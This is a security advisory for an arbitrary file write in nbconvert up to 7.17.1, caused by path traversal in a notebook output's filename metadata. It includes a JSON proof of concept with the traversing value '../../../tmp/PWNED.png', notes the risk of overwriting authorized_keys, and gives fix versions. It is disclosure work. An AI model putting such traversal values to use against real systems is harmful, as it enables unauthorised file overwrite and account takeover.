Advisoriesby IbisJupyter: arbitrary file write
Summary
nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.
Vulnerable converters : --to markdown, --to latex, --to rst, --to asciidoc.
In ExtractOutputPreprocessor, extractoutput.py:116-119 joins attacker-controlled path to output_files_dir with no canonicalization check, enabling arbitrary file write.
This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.
Impact
If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.
Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.
PoC
In a ipynb file:
```json
"cells": [{
"cell_type": "code", "id": "abc123", "execution_count": 1,
"metadata": {}, "source": "# PoC",
"outputs": [{
"output_type": "display_data",
"metadata": {
"filename": "../../../tmp/PWNED.png" # ← traverses outside output_dir
},
"data": {
# minimal valid PNG (1×1 pixel)
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
}
}]
}]
`
Patches...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| nbconvert PyPI | >= 5.4.0, < 7.17.2 | 7.17.2 |
Details and references
### Summary nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute. Vulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`. In `ExtractOutputPreprocessor`, `extractoutput.py:116-119` joins attacker-controlled `path` to `output_files_dir` with no canonicalization check, enabling arbitrary file write. This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg. ### Impact If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys. Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells. ### PoC In a ipynb file: ```json "cells": [{ "cell_type": "code", "id": "abc123", "execution_count": 1, "metadata": {}, "source": "# PoC", "outputs": [{ "output_type": "display_data", "metadata": { "filename": "../../../tmp/PWNED.png" # ← traverses outside output_dir }, "data": { # minimal valid PNG (1×1 pixel) "image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" } }] }] ``` ### Patches Fixed in - https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f - [7.17.2](https://github.com/jupyter/nbconvert/releases/tag/v7.17.2)
- CVSS 4.0
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22
- Also known as
- CVE-2026-114140
More Jupyter advisories
All Jupyter
Jupyter Server: Gateway WebSocket handler bypasses kernel execute authorizationCVE-2026-114135fixed in 2.6.0JupyterLab: Command link trust prompt in JupyterLab can trust a document other than the one clickedCVE-2026-102832fixed in 4.5.11 +2JupyterLab: Cross-site scripting (XSS) in JupyterLab via crafted language package (jupyterlab.json)CVE-2026-102830fixed in 4.5.11 +1Jupyter: information disclosure in errorsCVE-2026-102904fixed in 4.5.11 +1JupyterLab: Cross-site scripting (XSS) in JupyterLab via notebook cells pasted from the system clipboardCVE-2026-102831fixed in 4.5.11 +2Jupyter Server: 5xx request logging leaks token-bearing Referer header valuesCVE-2026-86049fixed in 2.21.0